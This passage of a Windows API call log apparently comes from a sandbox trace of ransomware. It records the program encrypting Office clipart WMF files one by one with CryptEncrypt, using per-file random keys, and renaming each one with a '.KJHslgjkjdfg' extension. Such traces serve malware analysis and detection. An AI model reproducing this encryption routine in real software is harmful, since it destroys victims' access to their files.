lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.653] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.653] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.653] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x21a0, lpOverlapped=0x0) returned 1 [0200.654] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21a0, dwBufLen=0x21a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21a0) returned 1 [0200.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.655] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x21a0, lpOverlapped=0x0) returned 1 [0200.655] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.655] SetEndOfFile (hFile=0x130) returned 1 [0200.658] GetProcessHeap () returned 0x990000 [0200.658] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.658] GetProcessHeap () returned 0x990000 [0200.658] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.kjhslgjkjdfg")) returned 1 [0200.660] CloseHandle (hObject=0x130) returned 1 [0200.660] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0200.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.661] GetProcessHeap () returned 0x990000 [0200.661] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.661] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.661] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.664] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.664] GetProcessHeap () returned 0x990000 [0200.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.664] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.664] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.664] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.664] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.664] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.665] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.665] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.665] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7898, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7898, lpOverlapped=0x0) returned 1 [0200.666] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x78a0, dwBufLen=0x78a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x78a0) returned 1 [0200.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.667] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x78a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x78a0, lpOverlapped=0x0) returned 1 [0200.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.667] SetEndOfFile (hFile=0x130) returned 1 [0200.670] GetProcessHeap () returned 0x990000 [0200.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.670] GetProcessHeap () returned 0x990000 [0200.671] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.kjhslgjkjdfg")) returned 1 [0200.672] CloseHandle (hObject=0x130) returned 1 [0200.672] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0200.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.673] GetProcessHeap () returned 0x990000 [0200.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.674] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.674] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0200.677] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.677] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.677] GetProcessHeap () returned 0x990000 [0200.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.678] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.678] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.678] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.678] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.678] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.678] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.679] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x931a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x931a, lpOverlapped=0x0) returned 1 [0200.680] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9320, dwBufLen=0x9320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9320) returned 1 [0200.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.681] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9320, lpOverlapped=0x0) returned 1 [0200.681] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x93f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.681] SetEndOfFile (hFile=0x130) returned 1 [0200.684] GetProcessHeap () returned 0x990000 [0200.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.685] GetProcessHeap () returned 0x990000 [0200.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.kjhslgjkjdfg")) returned 1 [0200.687] CloseHandle (hObject=0x130) returned 1 [0200.687] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0200.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.688] GetProcessHeap () returned 0x990000 [0200.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.688] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.688] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.692] GetProcessHeap () returned 0x990000 [0200.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.692] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.692] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.692] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.692] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.692] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.693] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x80d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x80d8, lpOverlapped=0x0) returned 1 [0200.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x80e0) returned 1 [0200.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.695] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x80e0, lpOverlapped=0x0) returned 1 [0200.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.695] SetEndOfFile (hFile=0x130) returned 1 [0200.698] GetProcessHeap () returned 0x990000 [0200.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.698] GetProcessHeap () returned 0x990000 [0200.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.kjhslgjkjdfg")) returned 1 [0200.700] CloseHandle (hObject=0x130) returned 1 [0200.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0200.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.701] GetProcessHeap () returned 0x990000 [0200.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.701] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.701] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0200.704] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.704] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.704] GetProcessHeap () returned 0x990000 [0200.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.704] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.704] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.704] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.704] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.705] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.705] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.705] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.705] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.705] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, 